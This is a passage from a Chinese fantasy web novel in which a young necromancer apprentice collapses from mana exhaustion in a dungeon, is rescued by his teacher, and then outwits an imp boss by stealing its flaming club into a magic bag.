莱塔已经在畅想黑巫师要如何夸奖他了。他就一边吃美味的鱼肉烩饭,一边喝甜甜罐子奶,然后费德爷爷再替他向黑巫师绘声绘色讲述,他在地下城里英勇伟大的样子! 嘿嘿…… 战线继续向前推进。 回字型的层叠迷宫,逐渐逼近中央。孩子迈着小短腿跟着打头的动物朋友,费德鲁斯埋头自动跟随在最末。 它的涂鸦小画上,那灰毛的小屁孩已穿上勇者的骑装。他坐在还没大人腰高的小矮马上,高举圆嘟嘟的玩具宝剑。 ——我一定打败恶龙,救出王子殿下! ——哦呵呵呵呵呵呵就凭你,小矮子? 战况十分激烈,正是最终战之际!费德鲁斯刚设计好下一篇章的分镜,转头忽然想起好像很久没听到某孩子的声音了。 “小塔啊……小塔?!” 灰毛的孩子一动不动站着,双手软软垂下,已经很久没有向前一步了。他那双圆而湿润的眼睛还睁着,甚至比任何时候睁得都要大。只是内里无光,空洞没有落点。 他的魔力值已见空。 费德鲁斯自然看不到小巫师的蓝条,但它的阅历足以让它猜到所发生的一切。它猛地看向正打斗的战场。 此刻一只精英小鬼率领着一众小鬼军团,正围剿着中间小小的蝙蝠。就连本该躺在孩子头顶的兔子,都不知何时冲了进去。 两只小东西杀红了眼,不管不顾地与敌人撕咬,不要钱一般地瞎放魔法。而它们的主人已经一滴魔力都挤不出来了。 如果是寻常路子的召唤师,这会儿召唤物该当场消失了。 ——但这是一名亡灵巫师。 亡灵召唤物见小主人已供给不上魔力,便开始自主吸食他的生命力。 莱塔的血条颤抖了一下,极速下降! 亡灵召唤物的身上散开来不祥的红光,这通常意味着一名亡灵巫师要燃烧自己的鲜血,进行殊死一搏。 “呜……”孩子嘴角溢出呜咽。 费德鲁斯:! 费德鲁斯的身体骤然巨大化,狰狞的獠牙密密麻麻从书页内层爆出。密齿的间隙中钻出浓密的黑手,它们像夜色下林子的枝杈,沸腾的蛇群,诅咒的活线条,一窝蜂地往战场上延伸,好像没有穷尽。 一时间半个战场被黑手包裹,这里成了黑色的涌动海洋。 它得把那两只吸食小巫师生命的废物碾碎。费德鲁斯想。 然而比黑手先一步抵达的,是一角漆黑的袍子。 小鬼精英,小鬼军团,兔子,蝙蝠,包括黑手,所有这一切都静止了。只一个眨眼的功夫,敌人灰飞烟灭,兔子和蝙蝠掉落在 地,费德鲁斯也从那巨大化的可怕怪物形象缩水,重新变回一本平平无奇的魔法书。 而孩子则落入了一个冰冷的怀抱。 这一切发生在两秒内。 莱塔狂坠的生命值最后停留在了“1”。 “费德鲁斯,维德。”黑巫师冷冷叫出二位追随者的名字。 一直沉在阴影中观察的维德,不吭声走了出来,同费德鲁斯站到一块。 还是跟随黑巫师最久的费德鲁斯反应最快。 ——这家伙生气了! “……我的问题。”费德鲁斯麻利地把自己扁扁地趴在地上,老老实实认错。 维德见同事这样突兀滑跪,先是一愣,随后解释:“我正要上前接他,如果不是您方才现身……” 黑巫师瞥了他一眼。 “对不起,我的问题。”维德也一骨碌单膝下跪,脑袋埋得低低。 黑巫师没有再理会二人,只是虚空坐下来,将怀里的孩子调整了下姿势,方便对方枕在自己腿上安睡。 这是一个标准的膝枕。 黑巫师给孩子拨了拨被汗水浸湿的额发,又拿温热的湿手帕替对方擦擦脏兮兮的小花猫脸。然而从始至终,黑巫师都没有去管孩子可怜兮兮的血条与蓝条,就那么让它们空着。 这又像是一份惩罚,对孩子如此不爱惜身体的不满。 费德鲁斯一直在悄悄观察黑巫师的神色,它递上话说:“他捡了好多东西,一直说想带回去给您看……” 黑巫师的手指停了下,没有说什么。 不过孩子的魔力与生命力倒是恢复了半截,虽然只有半截。 “他还给您做了一幅壁画!我看过啦!简直惟妙惟肖……” 黑巫师又看了地上的费德鲁斯一眼,似笑非笑。 费德鲁斯脸不红心不跳,继续说:“那画一看就是您!” 维德盯着自己的脚尖,听着费德鲁斯夸张卖力的没话找话,不禁在想:这同事是疯了么?那人不还在发怒?为什么要说这些无关紧要的话? 然而四周的温度确实上调了一些。 最重要的是,孩子的红蓝双条终于被拉满了。 小小的孩子眉头终于舒展开,睡得可香。他甚至翻了个身,把黑巫师的一只手抓到怀里抱着。黑巫师拢了拢手掌,没有抽出。 随着孩子魔力的灌满,一直拼了命给孩子输魔力的幽灵灯终于可以歇息了。它小小的脑壳不明白小主人的蓝条为何下降这么快,只是一味地努力去补。它补的,远不如小主人掉的。 到了后来,当蓝条直接见底,它甚至再也不能输进去一丁点魔力了。小主人的身体像一块干涸过头的田地,快要废掉了。 它急得团团转,还好现在没事了…… 感受到那道降临于此的熟悉气息,幽灵灯开心地围着黑巫师转。 费德鲁斯知道事情算是揭过了,它慢吞吞又说:“接下来的话,希望您不要生气……我个人觉得,他并不适合成为一名黑巫师。” “同意。”维德见同事一直叭叭,便也谨慎开口了。 黑巫师还是没有说话,他只是撑着侧脸,似乎很随意地端详着孩子的睡颜。 其实从黑巫师给孩子施舍膝枕开始,费德鲁斯就已经进入头脑风暴了。它疯狂在记忆里搜索,究竟在何年何月何日,黑巫师遇到过和这小孩有关的人物。 灰毛!紫瞳!大眼睛!!小呆毛! 没有,统统没有!这样的关键词没有一个! 一点印象也没有,怎会如此!难道不是孩子的某位血亲和黑巫师有过缘分,于是黑巫师也爱屋及乌地养起这个眼熟的小孩! 它不可能没有印象!它可是跟随那人最早的—— “费德鲁斯。” “——啊是!”费德鲁斯突然喊得很大声,把旁边的维德吓了一小跳。 “以后记得时刻叮嘱他补充魔力。” “遵命……”费德鲁斯说完等了一会儿,又忍不住谏言,“想必您也全程围观了他在地城的表现,他并不适合赴死者。甚至恕我直言,连只是成为一名巫师都不够资格。他缺乏对力量的渴望……” “意志也不够坚定。”维德默默补充。 “他还小。”黑巫师淡淡说。 “他已经八岁啦!八岁正是成为小巫师的年纪!而且,不是我严苛,任何其他的小巫师在这个时候,都已经初露狠劲,像头小狮子去撕咬别人的脖子……至于他?还软绵绵呢!” 黑巫师闻言揉了揉孩子的头顶,认可道:“确实很软。” ……究竟为什么这么溺爱啊! 费德鲁斯一阵思绪狂乱,它决定迂回些许:“小塔确实很可爱,您喜爱他也是理所当然。只是我认为您最好不要在他身上投下过多期望与训练,只需要像豢养一只宠物那样就好。这也是为他着想。这地城么,我看是不用再继续来了……说起来这都是维德这家伙的错!” 维德目光坚定:“战士必经历风雨……” 黑巫师终于舍得把目光从孩子的脸上抬起。 他静静望着他的追随者们,声音仍淡而轻,神情晦暗不明。 “那些并不重要……不死不灭喜欢他,这就足够了。” 13.小鬼首领 不死不灭喜欢。 听到这话,在场两位追随者都忍不住表情一变,目光微妙。然而他们到底是没有再往下面说什么。 场面一时安静,直到某个小孩开始嘟哝梦话。 莱塔:“丑衣服……丑……黑乎乎……呼呼……” 黑巫师:“……” 维德自然仍旧没听懂。费德鲁斯倒是花费了好大一阵力气才绷住笑声。只是整个书壳都默默颤抖着,看得出很想笑了。 它慢悠悠说:“我这儿有流行的时尚杂志,您要看看么?” 维德虽然不明白,但还是下意识吐槽:“你记录的流行时尚?那不都是上古老古董了?” 费德鲁斯大怒:“你懂什么!时尚就是经典!经典就是时尚!穿衣服的不都还是一样的人,一样的骨头架子!” 维德不知道同事怎么就上火了,他继续认真反驳:“如果是想要衣服的话,还是找奥菲利亚,或者梅莉斯更好吧。她们肯定更懂一些。” 黑巫师没有接受时尚杂志,也没有喊来两位女士。 他冷酷说:“作为一名巫师,他需要学会舍弃身外之物。” 费德鲁斯/维德:。 究竟是谁喊他们天天出去狩猎魔物的?还要每天现杀! …… 莱塔揉着眼睛起床时,发觉自己躺在冷冰冰的石板上。 “我明明感觉自己睡在一张很柔软的睡袋上啊……”他狐疑嘟哝。 肚子有点沉甸甸。 他一摸,是一只软软的小包,褐色的。 “你老师送的。里面连通了幽冥空间,理论上可以存放无限量东西……不过么,存放和取出都需要一定魔力值检验。按照你现在的魔力,估计最大只能存取不超过宝箱大小的物件,更大的就放不进去了……” 费德爷爷的声音轻飘飘传来,莱塔终于想起发生什么了。 “饼干,芝麻,黑豆,木耳,黑莓!”孩子报菜名一般地惊呼,慌忙找起他的朋友们。他还记得当时有好多敌人呢。 “哼,亏你还想着它们。它们可是差点害了你的命!” 莱塔看见他的朋友们缩在角落里,不敢与他对视。 费德鲁斯解释了一番经过。 “我晕倒了?老师还来过?!” 莱塔抱着自己的柔软小皮包,感到一阵恍惚,缺乏实感。 “快试试你的新背包吧。这下你可以捡多多的垃圾了。”费德鲁斯打趣。 “那可真是太好了。”实心眼的小朋友很是开心。 将朋友们好好安慰一番后,莱塔才站起来,拍拍屁股,把小挎包越过脑袋斜挂到肩头。 正好这时面板跳了出来。 【超可爱小挎包(神圣)】 【魅力+5,魔力+5】 【连通了幽冥界空间的背包,理论储存无上限。】 【*或许画出这只超可爱小挎包的设计图纸,就耗费了某些人一辈子的审美力。】 这竟然也是神圣之物…… 原来神圣和神器都是这样随处可见的东西吗…… 莱塔手一顿,已经习以为常,见怪不怪了。 不过,感觉面板这回的描述语句画风不太一样诶……莱塔心底里划过这样一个小念头。 他仔细将一众小宝贝塞入挎包里。 和费德爷爷说的一样,包里面像是连接了一个无底大洞,放进去就直接消失了。等他想拿什么时,手一掏就又出来了。 真好玩!而且好轻啊,完全感觉不到包的存在。 莱塔摊开胳膊原地转了一个圈,欣赏着自己漂亮的小皮包。他又注意到一件新奇的事情:他的衣服是不是变得不太一样了? 费德鲁斯继续解释,这次的语气颇为古怪:“你老师走之前,给你把袍子修改了一番。是不是好看了很多?” 莱塔不会知道,他的费德爷爷在用尽浑身力气憋笑。 新的小巫师袍仍旧黑漆漆的,但版型明显精调了许多。从原本“乌漆麻黑随意一套的大抹布”,进化成了“具有高级审美的简约单色时尚单品(费德鲁斯亲口盖章)”。该柔软的柔软,该笔挺的笔挺,把孩子衬得愈发优雅,可爱。 下摆做了特意的小巧思,后面比前面长上一小截,恰好在漆黑背景板布料中展露孩子细腻白皙的小腿。一圈菱形的小穗挂在衣摆下,前后交叠如灯下影,随着孩子的步伐一摇一摇。 莱塔眼尖地发现,就连靴子和袜子都小改了一番。现在袜子变得更短,藏在了靴子里头,而靴子自己也缩得紧致不少,下身便显得没那么臃肿——黑巫师竟然也有这等审美了。 黑巫师真好!孩子真心这么想。 他知道如果不是为了他,那人肯定不会花心思琢磨这些的。 “……如何?”费德鲁斯替某个默默远程旁观的黑巫师问。 “好看!喜欢!”莱塔露出比闪闪宝箱还要闪耀的笑。 …… 距离进入地下城,已经过去十二个小时。中间孩子还睡了个两小时的午觉,满打满算是足足十小时的探索时间。 “小塔,你真的不累吗?”费德鲁斯忧心忡忡。 “不累!” 孩子趴在一块陡峭岩石下,脸再度脏兮兮,眼睛却亮得惊人。自从睡醒,他便一路推进战线到这里,中间再没有失手过一次。 前方是小鬼们的大本营,也是一层的最终拦路小boss。小鬼们围在篝火旁嘻嘻笑笑,后面是一辆破败的特大货车,被改建成了巢穴。估计是曾经洗劫了一支人类的旅行商队——这自然是地下城自己生成的背景细节。 莱塔决心在今天把它们一举拿下。 “那你饿不饿?你都一直没吃东西……” “不饿!”跟着孩子坚定话语的,是一串咕咕叫。 莱塔红了脸,他捂着肚子呐呐:“打完了就可以回家吃饭了嘛……还有鱼肉烩饭等着我……” 这呆傻孩子怎么还想着鱼肉烩饭。费德鲁斯心里吐槽。 不过它对这小孩也有了改观。它没想到他真能一路咬牙来到这里,不哭,不闹,摔疼了也只红着眼睛自己揉揉,一句抱怨的话都不说。 它相信阴影里的维德也是如此。 十小时的连战,足以让这个聪明的孩子掌握许多东西。他现在已有了对魔力和施法消耗的初步敏感性,懂得了如何通过排布战术、规划法术进程,来进行比较简单的节魔,甚至达到一定程度的魔力耗补自循环。 这一切自然离不开变异幽灵灯的回蓝辅助。莱塔算是真正明白,费德爷爷所说的魔法器具对巫师的重要性了。 而且……是他的错觉吗?睡了一会儿起来后,幽灵灯好像对他愈发……殷勤了? “开始吧。”孩子冷静对他的动物军团发出指令。 打头两只蝙蝠从两路包夹,训练有素地窜了出去,另外两只则偷摸潜伏,等待奇袭。 作为人形供魔泉的小巫师也没闲着。他躲在阴暗小角落里,抱着他的蝙蝠法杖扔三发水弹,先砸晕了几片喽啰小兵。 莱塔如今对水球术的控制可谓是炉火纯青,要谁砸谁,绝不多一少一。可惜的是杀伤力不够。小巫师舔舔嘴,有些遗憾地想。 要是砸一片死一片就好了…… 手下负伤,小鬼首领稳稳被递上了仇恨值,站起身把篝 火旁的火腿大棒拿起,哐哐哐就要大踏步朝小巫师走来。 蝙蝠们适时对它的脑袋发起猛烈啄击,以及杂音污染。它们那点附毒的攻击性,对精英boss而言自然不够高,但足够用来拉住仇恨了。 小鬼首领的步伐很快停下,愤怒地驱赶起这些“苍蝇”。 三米高的巨人挥舞起大棒,扇动狂风猎猎,一条火龙凭空窜起,绕着大棒越飞越长,转瞬落下一圈火海。 这火腿大棒攻击带火! 莱塔只惊讶了一瞬,立即补上水球,为被波及的朋友们及时灭火。这让他的魔力循环稍微有了小瑕疵,不过问题不大。莱塔想。 还好自己会水球术…… 亲眼见证那火腿大棒的威力,莱塔没有丝毫犹豫,立即调转部队逃离。他判断自己一路打上来的实战经验,无法用来妥帖处理这样的敌人,一切需要重新计划。 小鬼首领自然不是好糊弄的,闻到那石头后面的香喷喷小家伙在撤离,当即连苍蝇也不管了,迈开长腿就追了上去,震得地面都一颤一颤。 “想追我,哼哼……”可惜这只灰毛的小老鼠深谙逃跑之道。 他顶着小兔哒哒哒狂奔,同时命四只蝙蝠们殿后干扰,自己时不时帮忙往敌人面门放水球糊视线。灵活的小蝙蝠们环形飞舞,小鬼们根本抓不着,只能持续遭受音波干扰,没一会儿就追丢。 至于小鬼首领,则要难缠许多。 地下城一层没什么奇观,整体就是个回环交错的大型洞穴迷宫,当中细密隧道多如蚁穴。莱塔专门往细小缝隙里钻,时刻奉行“脑袋能过全身就能过”的真谛,把自己浑身搞得灰扑扑的,但效果显著。 小鬼首领没法跟钻,只能低吼一声挥舞大棒,将一片拦路石块都砸碎,灰尘弥漫。那恐怖的力道看得莱塔一阵心惊,感慨还好没硬碰硬。 他循着记忆来到先前路过的悬崖,脚下是溪流。莱塔没犹豫分毫抱着小兔就跳了下去,咕咚落入水中。过了几秒,孩子的脸钻出来,随着水流越飘越远。 怒气冲冲的小鬼首领追到岸边,只能原地干瞪眼。 “略略略。”小孩冲敌人做鬼脸。 没想到还真的怕水。 到了浅滩,莱塔湿漉漉地爬上岸,给自己拧好袍子。走了几步眉头一皱,又找了块矮石坐下,脱了靴子倒倒里头的积水,顺带把袜子也挤干净。 他没立即穿上鞋,两只光溜溜的脚丫直接踩在地上,硌到好几粒碎石。又因走了太久的路,脚底红艳艳一片。 孩子两手托腮,专心沉思着他的通关大业。 费德鲁斯提议:“要不去把那头骨法杖捡回来?带上它会好打很多呢。” “不行不行,我都送出去了,再拿回来多不好啊!” 费德鲁斯严肃教育:“在巫师这条路上,不能把面子和尊严太当一回事。你得知道,力量才是唯一值得你追求的。为了它,一切都可以不择手段。” “不是为了面子。送给朋友的东西拿回来了,会让朋友伤心的。再说了,难道费德爷爷不知道,朋友也是能帮上你许多的吗?就像饼干它们一样。今天多一个朋友,明天就多一份力量呢!”孩子摇头晃脑说着。 “……行吧!”哼,小机灵鬼。 休息得差不多了,莱塔把脚底沾上的碎石擦擦,将光溜溜的脚塞入靴子。袜子还有些湿冷,他没有穿上,索性塞入小挎包里。 小鬼首领虽高大但行动笨拙,脑子也疑似笨笨的,好像没什么威胁。唯独那个火腿大棒太犯规了。 莱塔眯起眼睛,脸蛋上浮现干坏事的小表情。 这个火腿大棒……感觉可以偷到包里啊…… 14.赐福 第二次对战小鬼首领,莱塔放轻松了不少。 这回他多观察了一番,小小的脑瓜思考出来许多东西。比如这关底营地的棘手之处,其实不止小鬼首领一个。分散在四周的小鬼兵们单个实力不如何,可成群结队也能造成相当的威胁。 一名单枪匹马的巫师走到这里,若没有特殊的手段,直接冲上去与首领硬碰硬,或许能凭借一身装备勉强撑一段时间。然而后面那些小鬼喽啰也不是吃素的,它们扑咬上来,啃头皮,抓挠眼珠子,用带钩子的手指去挖人的皮肤,足以削减巫师们大半的行动力。 哪怕小鬼们什么都不干,只单单来上那么三四个,挂在身娇体弱的巫师们身上,也足以压弯他们的腰,当场倒下去了。 莱塔还注意到营地周围的陷阱。挂在洞穴顶上的,垂着一条条带抓手的移动钩子,随时可以从天而降一群嬉笑的小鬼,像落网虫;埋在地里几乎和普通石块一样的,踩上去估计要当场被炸飞,或者掉下去爬不出来;就连某些墙壁也隐隐有些色泽上的不对劲,或许碰上去也会触发点什么。 真可怕。上一轮都是他的朋友们出击,这些陷阱便没了作用的时机。而蝙蝠军团们的声波干扰,与高空灵活走位,也能避免被小鬼们围堵。莱塔有些庆幸地拍了拍自己的小胸脯。 一个人探险果然还是很麻烦啊。小孩深沉地思考着。 但他有可爱的朋友们! 小孩捂嘴和朋友们商量几句战术,便冷静又上了战场。这回在蝙蝠军团的掩护下,莱塔自己也冲了上去。 如此肥美的小人类,自然让小鬼首领流着口水再度追上来。莱塔见敌人已上钩,便沿着既定路线转身就跑。 这回他刻意缩短了与小鬼首领的距离,造成一种自己很好吃到嘴里的错觉。同时,莱塔没再使用水球术干扰。好几个拐角的功夫里,他的发梢与衣袍轻轻掠过小鬼首领的狰狞獠牙,看得一旁的费德鲁斯都有些心惊。 二者你追我逃绕着营地跑,把一众小鬼兵都落在后头,有蝙蝠们压阵减缓它们的步伐。但又因蝙蝠群仍需要莱塔的魔力供能,两波部队相隔也不算太远。 这个距离,莱塔估计自己拥有差不多两分钟的单挑机会,期间不会有小鬼军团来妨碍他的计划。 前方倾斜的石壁上是一个凹陷进去的小洞,很浅,至多只能容纳一个蜷缩的孩子。莱塔钻了进去,没露出一片衣角。 他往里头爬了几步,这就是最深了。 这处小洞是莱塔提前看好的,是他计划的关键一环。 果然,小鬼首领卡在洞外,身子无法进入。然而这一次,它没有举起火腿大棒,把碍事东西当场碾碎,就像一路上它做的那样。 它的脑袋挤挤还是能探入。而狭窄的空腔像是一只餐盘罩子,掀开就是肥嫩嫩滴汁的食物。食物已经逃不掉了,伸手就能够着。 它下意识地用爪子去抓,这是生物的本能。哪怕它只是地下城生成的怪物。怪物的鼻子与孩子几乎只隔了一个拳头的距离。 莱塔感受到怪物呼吸间腥臭的气味,他裸露的小腿被怪物的喘息吹拂。整个洞口都被怪物庞大的头颅堵住。只有一盏灰蓝色的幽灵灯,为孩子点明光亮。但这并未为孩子增加多少心安。 光线赤裸裸地展示着空间的狭窄,也让怪物兴奋的脸显得更为可怖。那张脸似人非人,此刻镀着一层异质的冷蓝油彩,五官间的皱痕蠕动着,更加清晰,逐渐放大。 莱塔忽地抽动了下腿,无意识地。 怪物伸出爪子,抓住了它。 这是小鬼首领第一次触碰到孩子。 粗糙的摩擦,怪异的湿黏,还有那恨不得将他捏碎的力道。 莱塔浑身又是一抖,不过咬着唇没有出声。 不知怎么的,莱塔竟然在这时候想起黑巫师给他做的袍子。不是现在穿的改良款,而是第一天洗澡时套身上的糙布。他记得他的胸前、大腿上,都被那东西磨红了不少呢。 黑巫师还在家里等他回去。 今天是鱼肉烩饭。 莱塔紊乱了几秒的呼吸渐渐平静下来。 怪物青黑的利爪深深掐着孩子的肌肤,像是要抓破一只水球。孩子白嫩的小腿早已被擦红了一大片,带来微麻的刺痛。 莱塔握紧怀中的蝙蝠杖,抵在怪物的头颅上。那像一只脆弱的小鸟,面对比自己强壮许多的巨人,只能无力地用小喙去啄,殊不知这只会勾起残暴者的食欲与摧毁欲。 怪物泛着血红的青眼珠浮起嘲讽的笑。 它甚至放下了洞外的火腿棒,把第二只手也伸了进来。 它的半只肩膀都进到了洞穴,两手一拉,孩子便被抽了一大截往下。洞内光溜溜,莱塔根本没有办法抓住任何东西抵抗。 “啊……!”因太过突然,他惊呼了一下。 不过莱塔紧接着就狠狠朝怪物的眼珠子踩踏,其动作与狠劲完全是奔着把那东西踩碎踩烂去的,没有一丝不忍与不敢。 怪物哀嚎了几声,捂住自己的眼睛。 趁这个功夫,小老鼠又蹭蹭蹭地爬回去,钻到洞穴最里,蜷缩成一团。 孩子躲避了一时的危险,不过接下来显然还有更大的。 彻底被激怒的小鬼首领,只想把这个小东西撕得稀巴烂,它睁着半只眼睛,往地上一拿—— 火腿大棒不翼而飞。 怪物惊愕。 莱塔露出得逞的笑。 与此同时,小兔已经顶着孩子的挎包,拖着怪物的火腿棒,一路狂奔,来到无人之地。 它遵照孩子的嘱咐,把火腿棒往地上一放。随后便叼着挎包,两只爪子往两边扒开包的口子,向那棒子一头扣去。 挎包缓慢而滞涩地吞噬着怪物的武器,很慢,很慢,慢得出奇。 直至吞掉一个前端后,彻底不动了。 “笨蛋,我不是和你说了吗!你现在的魔力只能塞进去宝箱大小的东西!那武器根本不可能放进去!快撒手逃跑!” 费德鲁斯终于看出来孩子的完整计划,忍不住破口大骂。 哪有召唤师拿自己当诱饵的! 莱塔自然听到了费德爷爷的大喊大叫。不过他没有灰心。他觉得往包里塞东西的原理,和他自己钻洞穴缝隙的时候也差不多。既然头能过,那身子也能过。 他感受得到,那边的挎包还在继续尝试吞噬。虽然很慢,肉眼不可分辨。 他有一种神奇的感觉,好像他的身子在这里,灵魂却在那一头。他同时是他的小兔,是连通着幽冥空间的小挎包,甚至是那根火腿大棒。 他正在把一头倔犟的牛推入围栏里。 他也是一圈围栏在承受外界巨大 的、不属于他当前规格的入侵。 明明魔力没有被消耗,可是精神上好累。 好累,好想睡一觉…… 得知被戏耍的小鬼首领怒上加怒,直接开始徒手击打墙壁,震得洞穴里掉下好些灰尘。 好呛……孩子把半张脸埋入袖袍。 红了眼睛的小鬼首领,没有选择去追它的武器。它知道这里是它的领地,武器跑不了。而它要是离开了,这只可恨的小老鼠便会逃之夭夭。它要把老鼠一口口撕咬下来肉。 怪物大力地向洞内抓挠。莱塔小腿上被划出道道粉红的线条,当中有些渗出了血。 被咬断腿的话,会不会很痛…… 莱塔望着怪物狰狞的獠牙想。 他其实是可以释放水球术的。只要再对着怪物的眼球进行连续攻击,怪物说不准便会明白,守在这里无济于事,转身去找火腿棒。那时候他就可以离开了。 可那样的话,一切就都失败了。 小兔说不准也会被捉住。 为了勾引怪物,一路上他都没有真正反扑过。就是为了让对方形成“很快就能吃到这个小东西”的惯性思维,下意识觉得放下火腿棒也没关系。 这是他好不容易堆出的机会,一切都很顺利。 要在这里放弃吗…… “进去……给我进去……” 高强度的精神压榨,令莱塔浑身滚烫,如同一台因过热而极度缺水的高耗能仪器。他小声呢喃着,意识都有些不清晰。 他只是蜷缩在冰冷的洞穴里,却好像在用尽全身每一个毛孔,去扛起一座即将坠落的城堡。 洞穴外的费德鲁斯没有听到孩子的回应,急得团团转。 它想变身,想帮忙,可是它又犹豫,迟疑。 最好不要插手吧……他们这种身份要是在自家地下城里,去干扰怪物的正常运转,是不合规矩的…… 可它已经不是人了…… 再说他们家的神现在也…… 怪物再一次抓住了孩子的腿。 这一回,它撕扯下来一只靴子。它把靴子塞入嘴里,狰狞地瞪着里头的孩子,像是在吃对方的肉。 费德鲁斯听到了那清脆而又牵连的咀嚼音。 它想象那是小塔真正的腿,发觉它完全不能接受。 费德鲁斯狠狠心,决定赌上一把。 它这老骨头,也不是不能够当一回这小屁孩的召唤物啊! 召唤物保护主人有什么不可以的! 拼了! 就在费德鲁斯骤然变大,放出一团黑手之时,就在怪物吃完了靴子,一手握紧孩子只着短袜的脚掌时,地下城的面板徐徐闪烁。 【赐福·幽冥之主的许可】 【死亡与灾厄之神聆听到一名年幼神徒的祷告。它此刻为你赐福,允许你动用更多的冥界空间。】 祷告?他没有祷告呀。 莱塔的第一想法是这个,他茫然地眨眨眼睛。 在场做出反应的不止孩子一人。 涉及到自家神明的赐福,不管是维德还是费德鲁斯,都听到了面板的播报。他们同一时刻愣在原地,不敢置信。 紧接着又猛地甩头(甩书),下意识看向了黑森林的某个方向。 那里是黑森林的中心,只有一座普通的小木屋。 15.突破一层 提问:把大棒放入包中需要几步? 莱塔回答:推进去,扭好绳扣,拍拍小包。就是这样。 在无上珍贵的神赐面前,莱塔并没有惊讶太久,甚至还没有第一次遇到小兔时兴奋。 这个“神赐”的意思是,他放东西能更轻松了,对吧? 揣摩过后,莱塔当即行动起来。 在他的魔力驱使下,小兔麻利地把火腿大棒塞入包里,随后小爪子向孩子的方向挥挥。 几乎是同一时刻,小鬼首领猛然一哆嗦。它脸上竟然浮现出一种纯粹的茫然,像个初生的婴儿。 它不太能理解现状,但它感应到它最重要的武器不见了。 没有,哪里都没有,整个地下一层都不再有火腿大棒的气息。 小鬼首领仰头悲鸣了一声,转身就要去寻找。 “哼哼,想跑?” 半分钟前还躲在洞穴里瑟瑟发抖的小孩,神气地跳了出来。他手持蝙蝠杖,一只脚丫挂着半只袜子,露着三粒磨红的脚趾,半点不在意地追了上去,跑得一深一浅。 彻底失去火腿的小鬼首领,竟然十分胆小起来,面相都有了改变。这让莱塔不禁想,看来自己做了个十分正确的计策。 恰好此时小鬼军团们也赶了上来,小蝙蝠们仍兢兢业业于半空干扰。小鬼们见到首领,不禁露出喜悦,谁曾想它们威武的首领直接推开它们,一脸悲怆地往一条路狂奔。 莱塔知道,那里是火腿大棒的位置——在一分钟前的时候。 他并不急切追赶,因为小兔已经抄另一边近路在往这边跑,至少小兔是没有危险的。他先配合蝙蝠们解决了这帮小兵。 等莱塔过会儿赶到时,小鬼首领正蹲在地上,徒手刨坑。这里是火腿大棒消失前的地方。嗅到了孩子的气息,小鬼首领转头,脸上又浮现出那种狰狞的、残忍的颜色,咆哮着似乎要为逝去的武器报仇。 不过莱塔这次已经不怕了。 此前的追逐战里,他已充分掂量此怪的蛮力与身法。失去了火龙武器,纯粹就是傻大个一个。 一串比小巫师自己还高的水球炮,轰隆隆地高速击打起地面。得益于小巫师高达85的速度属性,小鬼首领还未近身,便被这碾压的起手强攻给逼退。孩子头顶的防御小兔甚至都没派上用场。 这火力覆盖的阵势,不禁让一旁费德鲁斯盯仔细了许多。 甩魔法甩得这么凶,小家伙该不会又要晕倒了吧…… 与旁观视角不同,莱塔自己其实还挺舒服的。一直压抑着不被释放的魔力,这会儿肆无忌惮地倾泻而出,莱塔甚至感受到一阵快意。 不被近身、也无法被远程攻击到的巫师炮台,是无敌的。 怪物跪倒下膝盖,而此时莱塔的蓝条才下去一半。 ——当然,超九成的伤害都是小蝙蝠们灌的,小巫师则充当一个加炫酷特效的道具师。 死了吗? 这一刻,莱塔,蝙蝠与小兔,费德鲁斯,以及潜藏在阴影中的维德,都紧张等待着结果。后面两位大人当年在这个年纪,自己第一次闯地下城时,可能都没有这么焦虑过。 几双眼睛期待下,小鬼首领终于是彻底倒下了。 “耶——”莱塔最先跳了起来,一只靴子几乎碰上了屁股。 他转身两手一捞,便把小蝙蝠,小兔子,费德爷爷,还有小幽灵灯都抱在怀里。 “我们赢了!” “诶呦,轻点,我这把老骨头哟……” 孩子挨个亲了亲小兔和蝙蝠的脑袋。 他脑海中,一串金灿灿的播报浮现。 【你击败了小鬼首领。】 【你突破了嗜血黑镰狂战迷宫·一层领地。】 【死亡与灾厄之神向你投来初步的注意,微乎其微。】 【你获得了地下城主的日记残页(一)】 【你获得了闪闪发亮的宝箱。】 【你获得了掉落物:小鬼面具。】 地下城主的日记? 泛黄泛旧的一页纸,下面有烧毁的痕迹,这大概就是“残页”的意思。孩子的注意力当然率先被这个新奇东西勾引去。 【收割人(一)】 【收割人诞生于一座平凡的村庄,左面颊负有弯形骨刺状胎记,起初只有指甲盖大小。随着年龄的增大,这份天赋的“诅咒”逐年蔓延,几乎占据了孩子半张面颊,像是吸食着这个家庭的生命力。】 【父亲打猎被魔物杀害,母亲于河边失足溺亡,说是遭了水鬼,村民们用石头丢向收割人,半夜试图火烧他的房子:“恶魔,你不该存在于此!”】 【收割人于一个月后的深夜收拾包袱离去,只给他的姐姐留下一份信,以及一头刚猎下的魔物的头颅。收割人在信里说,他已为父母报仇,望姐姐余生安好。包袱里装着一件衣服,与一只空水囊。】 【偏远村落的人,不知道魔物的名字。那东西长得像鹿,死了却变成青黑色。收割人离开村子时十二岁,十三岁时结识一位志同道合的同伴,他们一起流浪。十九岁,同伴死于外出取水,死亡的模样与母亲一样,开膛破肚,内脏被搅碎。收割人三日三夜狂奔未眠,没有找到凶手。】 【二十一岁,收割人四处打探情报终于知晓,原来害自己家人与友人性命的东西,叫玫瑰鹿。玫瑰鹿喜欢一种拳头形状的红果子,那东西长得像人类的心脏。收割人记起自己家后院养了这么一棵果树,是他五岁时一位流浪者路过村口送的,他与姐姐,以及邻居家的孩子一起种下。】 【二十二岁的收割人回到家乡。村子已被魔物踏平,这里成为了玫瑰鹿的巢穴。那果树还长得和从前一模一样,甚至开满了一片林子。收割人在当年果树下,挖出了他和姐姐的涂鸦,画上是他们一家。盒子里还多出了一幅新画,是后来新埋下的,画着姐姐和姐姐的孩子。画上仍旧有他,小时候的他。】 【收割人在村子停留了两周,把玫瑰鹿屠杀了两周。他最后倒在母亲溺亡的河道边,与最后一只魔物的首领几乎同归于尽。重伤的玫瑰鹿王逃跑了,他流下血泪。】 【一名过路的老者救了他,彼时收割人半个身子被鹿角斩断。】 【老者:“年轻人,你不是巫师,不会魔法,却能杀死如此多魔物,你不该死在这里。”】 【收割人:“我是怪物,我只会给亲近之人带来灾厄。”】 【老者笑道:“那么年轻人,你很适合追随我主了。或许你听过它的名字,它是死亡与灾厄之神,宿居幽冥的无情神明。”】 莱塔读完了一页小故事。 “嗯……”感觉有点惨惨的。孩子出于朴素的同理心想着。 他问费德鲁斯:“费德爷爷,收割人是什么呀?” 